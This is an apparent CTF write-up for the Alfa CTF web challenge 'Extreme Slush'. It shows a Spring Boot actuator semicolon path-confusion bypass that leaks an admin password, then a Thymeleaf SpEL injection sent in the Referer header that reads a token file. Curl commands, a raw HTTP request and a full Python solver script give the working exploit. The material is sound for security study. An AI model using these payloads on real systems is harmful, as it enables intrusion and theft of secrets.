Экстремальная слякоть (Extreme Slush)
Экстремальная слякоть (Extreme Slush)
Platform: Alfactf | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-25 | Status: Solved Techniques: actuator_path_confusion_bypass, header_based_injection, semicolon_path_parameter_bypass, spel_file_read_java_nio, thymeleaf_preprocessing_spel_injection
Summary
Task: Spring Boot app with Thymeleaf templates, protected actuator endpoints, and token-gated budget panel. Solution: Bypass actuator security via semicolon path confusion, then exploit SpEL injection in Thymeleaf preprocessing via Referer header to read token file using Java NIO.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
alfactf| ID:20260425_alfactf_ekstremalnaya_slyakot - Tags: flask, nginx, tomcat, thymeleaf, spel, spring_boot, actuator, h2_database, java_nio
- Indicators: Spring Boot + Thymeleaf stack, Actuator endpoints with security rules, back/redirect parameter using header values, Thymeleaf preprocessing syntax ${...}, Tomcat behind nginx proxy
- Source:
20260425_alfactf_ekstremalnaya_slyakot.md
Foothold
Vulnerability / Misconfiguration
- Actuator_path_confusion_bypass
- Header_based_injection
- Semicolon_path_parameter_bypass
- Spel_file_read_java_nio
- Thymeleaf_preprocessing_spel_injection
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- actuator_path_confusion_bypass
- header_based_injection
- semicolon_path_parameter_bypass
- spel_file_read_java_nio
- thymeleaf_preprocessing_spel_injection
- Tags: flask, nginx, tomcat, thymeleaf, spel, spring_boot, actuator, h2_database, java_nio
Original Writeup
<details><summary>Click to expand original content</summary>Экстремальная слякоть (Extreme Slush) — Alfa CTF
Description
A city slush level monitoring application with admin panel and budget management system.
Multi-tier web service: nginx → Spring Boot (Tomcat 9.0.117) + Flask sidecar. Features complaint submission, admin panel, and budget management protected by a secret token stored in /usr/local/tomcat/budget_token.txt.
Analysis
Architecture
- Outer nginx/1.24.0 (Ubuntu) → Inner nginx/1.27.5
- Spring Boot WAR on Tomcat 9.0.117 (/, /admin*, /complaint, /actuator*)
- Flask sidecar at /api/budget/* (proxy_pass)
- H2 in-memory database (jdbc:h2:mem:slushdb)
- Thymeleaf 3.0.12.RELEASE template engine
Vulnerability Chain
- Actuator path confusion: nginx security rules don't match
/actuator;foo/env, but Tomcat strips;fooand serves/actuator/env - SpEL injection: Thymeleaf preprocessing evaluates
__${...}__syntax before main rendering - Header injection: Referer header value is used in template preprocessing for the
backparameter
Solution
Step 1: Actuator Path Confusion Bypass
# Blocked curl https://slushline-zcdvzvbj.alfactf.ru/actuator/env # 403 # Bypass via semicolon path parameter curl https://slushline-zcdvzvbj.alfactf.ru/actuator;foo/env # 200
Leaked: ADMIN_PASS=S3cur3_Adm1n!_P@ss_n0t_2_f0rG3t
Step 2: SpEL Injection via Referer Header
The /admin?back=X parameter triggers Thymeleaf preprocessing that evaluates the Referer header.
Payload format: '}+${SpEL_expression}+@{'
File read payload:
'}+${'a'.getClass().forName('java.nio.file.Files').readString('a'.getClass().forName('java.nio.file.Paths').get('/usr/local/tomcat/budget_token.txt'))}+@{'
Step 3: Token Extraction and Flag
GET /admin?back=/admin HTTP/1.1
Host: slushline-zcdvzvbj.alfactf.ru
Cookie: JSESSIONID=...
Referer: '}+${'a'.getClass().forName('java.nio.file.Files').readString('a'.getClass().forName('java.nio.file.Paths').get('/usr/local/tomcat/budget_token.txt'))}+@{'
Token: QWNgzulpHdPJpZpZsktozyF8FyM0umcn
POST to /admin/budget with token → flag displayed.
#!/usr/bin/env python3
"""Alfa CTF - Extreme Slush solver"""
import requests
import re
BASE = "https://slushline-zcdvzvbj.alfactf.ru"
s = requests.Session()
# Step 1: Leak admin password via actuator path confusion
resp = s.get(f"{BASE}/actuator;foo/env")
# ADMIN_PASS=S3cur3_Adm1n!_P@ss_n0t_2_f0rG3t
# Step 2: Login as admin
resp = s.get(f"{BASE}/login")
csrf = re.search(r'name="_csrf"[^>]*value="([^"]+)"', resp.text).group(1)
s.post(f"{BASE}/login", data={
"username": "admin",
"password": "S3cur3_Adm1n!_P@ss_n0t_2_f0rG3t",
"_csrf": csrf
})
# Step 3: SpEL injection to read token file
spel = (
"'}+${'a'.getClass().forName('java.nio.file.Files')"
".readString('a'.getClass().forName('java.nio.file.Paths')"
".get('/usr/local/tomcat/budget_token.txt'))}+@{'"
)
resp = s.get(f"{BASE}/admin?back=/admin", headers={"Referer": spel})
# Token: QWNgzulpHdPJpZpZsktozyF8FyM0umcn
# Step 4: Unlock budget panel
resp = s.get(f"{BASE}/admin/budget")
csrf = re.search(r'name="_csrf"[^>]*value="([^"]+)"', resp.text).group(1)
resp = s.post(f"{BASE}/admin/budget", data={
"token": "QWNgzulpHdPJpZpZsktozyF8FyM0umcn",
"_csrf": csrf
})
print("Flag: alfa{REDACTED}")
</details>
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR